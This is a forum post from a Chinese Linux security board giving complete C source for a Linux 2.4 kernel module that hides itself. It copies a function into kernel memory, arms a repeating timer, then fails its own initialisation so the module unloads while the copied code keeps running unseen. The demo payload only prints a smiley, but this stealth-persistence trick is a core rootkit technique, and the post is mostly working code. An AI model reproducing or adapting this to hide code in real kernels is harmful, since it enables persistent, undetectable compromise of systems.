中国Linux论坛首页 技术论坛| 文章荟萃| 藏经阁| 项目计划| 在线调查| 网站镜像| 软件仓库| 关于本站|

Linux 高级应用
   >> 系统和网络安全
此话题阅读次数: 6253

打印
teawater
(Pooh-Bah)
04-07-04 15:25
[精华] [原创]另外一种隐藏LKM的方法 :)  

//gcc -I /usr/src/linux-2.4/include -c 1.c

#define MODULE
#define __KERNEL__
#define LINUX
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/types.h>
#include <linux/errno.h>
#include <linux/mm.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>
#include <linux/timer.h>

#ifndef list_for_each_safe
#define list_for_each_safe(pos, n, head) \
for (pos = (head)->next, n = pos->next; pos != (head); \
pos = n, n = pos->next)
#endif

struct ghost_struct
{
struct timer_list tl;
char buf[32];
int (*printk)(const char *fmt, ...);
void (*add_timer)(struct timer_list *timer)
};

void
ghost(unsigned long ptr)
{
struct ghost_struct *gs=(struct ghost_struct*)ptr;

gs->printk(gs->buf);
gs->tl.expires=jiffies+3*HZ;
gs->add_timer(&gs->tl);
}

int
init_module(void)
{
struct ghost_struct *gs;

gs=(struct ghost_struct *)kmalloc((unsigned long)init_module-(unsigned
long)ghost+sizeof(struct ghost_struct),GFP_KERNEL);
if (!gs) {
printk(KERN_EMERG"kmalloc error!\n");
return(-1);
}
memcpy((char *)gs+sizeof(struct ghost_struct),(char *)ghost,(unsigned
long)init_module-(unsigned long)ghost);
init_timer(&gs->tl);
snprintf(gs->buf,32,KERN_EMERG":)\n");
gs->printk=printk;
gs->tl.function=(char *)gs+sizeof(struct ghost_struct);
gs->tl.data=(unsigned long)gs;
gs->tl.expires=jiffies+3*HZ;
gs->add_timer=add_timer;
add_timer(&gs->tl);

return(-1);
}

MODULE_LICENSE("GPL");

/*
redhat 9.0 kernel 2.4.20-8 下测试可用
将一块函数拷贝进分配好的一块内存,然后挂到合适的地方,然后到时候就可被执行。
其中比较麻烦的地方是,因为在函数中使用相对寻址的地方很多,在拷贝进新地址后调用自然会出
问题,所以在我这里把相对地址的几个东西都放进了结构里了,这个东西应该是还有别的办法解决
,比如把elf文件弄进个buf,然后象2.6那样在kernel中进行连接。 */


--------------------
夕阳芳草见游猪

编辑者: madsys (04-07-05 14:31)

文章选项: 打印


整个主题
文章标题张贴者:张贴日期
*[精华] [原创]另外一种隐藏LKM的方法 :) teawater   04-07-04 15:25
.*Re: [原创]另外一种隐藏LKM的方法 :) grip2版主   04-07-06 10:42
.*Re: [原创]另外一种隐藏LKM的方法 :) teawater   04-07-06 11:02
.*Re: [原创]另外一种隐藏LKM的方法 :) madsys版主   04-07-05 14:42
.*[精华] Re: [原创]另外一种隐藏LKM的方法 :) madsys版主   04-07-05 14:39
.*Re: [原创]另外一种隐藏LKM的方法 :) grip2版主   04-07-06 10:38
.*Re: [原创]另外一种隐藏LKM的方法 :) teawater   04-07-06 10:48
.*Re: [原创]另外一种隐藏LKM的方法 :) coolq   04-07-06 01:12
前往讨论区

Contact Us LINUXFORUM.NET